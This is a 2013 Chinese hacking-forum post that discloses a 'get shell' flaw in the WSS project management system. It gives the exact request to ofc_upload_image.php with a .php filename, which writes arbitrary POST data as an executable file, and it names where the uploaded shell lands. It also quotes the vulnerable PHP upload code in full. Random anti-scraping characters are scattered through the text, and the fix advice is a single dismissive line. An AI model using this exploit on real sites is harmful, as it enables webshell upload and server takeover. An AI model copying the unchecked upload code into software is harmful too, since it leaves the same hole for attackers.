找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2073|回复: 0
打印 上一主题 下一主题

WSS项目管理系统Post get shell

[复制链接]
跳转到指定楼层
楼主
发表于 2013-2-23 12:38:58 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
POST 数据漏洞文件执行任意后缀文件保存
3 \4 c, c: m( t8 ~9 V1 n 漏洞文件/chart/php-ofc-library/ofc_upload_image.php
$ D1 d$ f9 d" [. R; w+ X: _' K7 x( h; r4 Z
利用:
& p) e  d2 G8 {$ X3 o; u/chart/php-ofc-library/ofc_upload_image.php?name=hfy.php hfy.php 文件名8 y& Q6 e1 {5 P& K1 H5 t
! F. d$ \# u. W0 P& i8 S
Post任意数据
0 w% b, h3 j' N- N& l' a保存位置http://localhost/chart/tmp-upload-images/hfy.php! }( W+ c( e( v8 H8 A* ^( E) B
! D6 N# ?* H4 V7 V1 E4 S

. x/ _, Y5 e& w! }最新版wss漏洞文件,即使是收费版本也有的,在新浪商店部署的demo~3 I5 ^- X3 H) C# W% w
) J4 P1 x& u( M$ Y; u; w
<?php
3 B. T9 t9 |6 a& i0 Q7 P! Z: o2 H6 D* @: Y- G. ]5 `: r' q& @
//% \- g; ?6 i8 b$ I8 @. I; U% }
// In Open Flash Chart -> save_image debug mode, you' t; L* B+ p' w; r
// will see the 'echo' text in a new window.
, J' d8 [' E, P0 l6 |- Y/// ]2 L& N1 [& _+ p% \7 \
; w) ~& s2 c# j
/*) K! a( J% x: ^4 J
* Y7 R4 L5 T2 h( h7 B8 |
print_r( $_GET );
& q) }: i6 i3 E  C( fprint_r( $_POST );
, {: D" y- @) `% ~( j" @print_r( $_FILES );
4 X/ j# e( s3 S9 M, q6 p( q" ?3 A/ H) ]/ W- a( n
print_r( $GLOBALS );0 \8 |) \7 T" i. _1 X/ N# Z; M
print_r( $GLOBALS["HTTP_RAW_POST_DATA"] );" M# l8 E- W2 l  {" q/ M& x7 d
) j# C1 W: r% u9 K
*/
- X0 l- J) S) p8 p$ {// default path for the image to be stored //1 T0 d+ q1 d- w+ H. `7 \7 `& r; v
$default_path = '../tmp-upload-images/';
/ u  n' L) F$ R! Y9 A& x9 a" l0 J, m! F) D, O
if (!file_exists($default_path)) mkdir($default_path, 0777, true);. c) K/ @! o2 m0 N6 V

9 `: `# `0 R4 I. U" V// full path to the saved image including filename //
- F6 ]( I( w! ^: ^* g/ B$destination = $default_path . basename( $_GET[ 'name' ] );
; B; ^" a* }  d- {6 k3 P: ?3 Z0 ?6 I" N3 l2 E( ^/ t
echo 'Saving your image to: '. $destination;
; M+ Z# p$ x/ z- P/ ~// print_r( $_POST );
9 p7 Q) ~# _4 x& z& z2 @- t7 ]: |) m// print_r( $_SERVER );
$ h9 K5 ]' Q( `1 z# _& W$ e, ^" h3 Y// echo $HTTP_RAW_POST_DATA;
- }# Y4 d6 g9 r8 q8 _9 y# G$ g  i* V- |$ N# {" Q
//
0 B: j' Z+ X; J! [( H! T2 K- U, A// POST data is usually string data, but we are passing a RAW .png' u2 z  s( E5 Q3 a' S+ B$ [' ~
// so PHP is a bit confused and $_POST is empty. But it has saved
. P( t1 a% l6 s$ D// the raw bits into $HTTP_RAW_POST_DATA- t# k8 X4 p4 u6 b& Y
//
4 u( ~" q: c0 y* A5 [) G; t! ~' Z9 l6 \* L
$jfh = fopen($destination, 'w') or die("can't open file");
* @2 r# N- y4 U0 U$ m' u- yfwrite($jfh, $HTTP_RAW_POST_DATA);
0 p# ^/ F: D0 p! ^fclose($jfh);
5 }3 y/ V0 Y! f
  f! V8 [$ @/ H, l//
) F2 R4 M2 T" e" z, Z// LOOK:
) k! j% A5 |7 O0 \( V//
. L, z' w5 ?0 G: ?3 X* Dexit();
/ B2 x4 q1 t4 u//
0 ?2 B8 t. ?; w8 x; a, Q// PHP5:
5 `* i! Z! h' j: J! |/ G" q//; W4 v) W  G8 g0 F: H- D" y
' \% G+ L  s6 c4 s& ^" u' r0 ^

4 w1 K/ d' o- X; b) g8 _6 C, c// default path for the image to be stored //! R  w8 t' e! i
$default_path = 'tmp-upload-images/';9 u: g$ s) F6 F4 c6 s

: H$ C' m* N+ x( t" o4 R* n1 T( Hif (!file_exists($default_path)) mkdir($default_path, 0777, true);
* ^; i, R; Y7 a+ P) r7 F
' P& f+ {  E3 ^' {5 L! h: L// full path to the saved image including filename //$ l6 P' V' o, T3 u2 L
$destination = $default_path . basename( $_FILES[ 'Filedata' ][ 'name' ] ); ; o; [9 Q, V* K2 C; Z+ q
& X# X% Q7 n( ?6 H6 S: d$ Z+ G
// move the image into the specified directory //. ?; ?6 a( S% I; I: L( A
if (move_uploaded_file($_FILES[ 'Filedata' ][ 'tmp_name' ], $destination)) {
# k0 H% W( z0 l    echo "The file " . basename( $_FILES[ 'Filedata' ][ 'name' ] ) . " has been uploaded;";; L$ B; S$ z1 g7 t/ V5 Y
} else {
9 C0 ~" e  @# C) x" t1 R    echo "FILE UPLOAD FAILED";
7 ]7 ?& I& G1 ?* ^# ]8 k$ ]9 `3 ?}
" T: X; O* O8 q$ }  e- X7 M
9 \( \6 p6 u4 E7 y# ~
0 Q# V% V. n5 r2 a?>, ], m  }: B$ n2 P
; h' y- U$ _) X5 [5 ?' B

. @4 Y% |1 b4 y  T# _! Y; }, Z5 a' }, [; |  W
: d' {8 x2 f7 C2 l7 `! [+ R, _
3 O5 |! P6 o# t9 n
/ u- Q# n* U; `* M
修复方案:
) d, v0 F) ?0 ?: |: q/ h/ a  G这个漏洞文件就是个杯具,怎么破,加权限验证,后缀等验证~,自己搞
9 f) d" H( w" o! s" e: B
! M& u; a" y" @5 k6 G6 B( k' J( ?2 h1 o4 @) f* j; v
+ |; L, r! h, d9 ?
9 w7 T+ K9 n/ ]

本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有帐号?立即注册

x
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表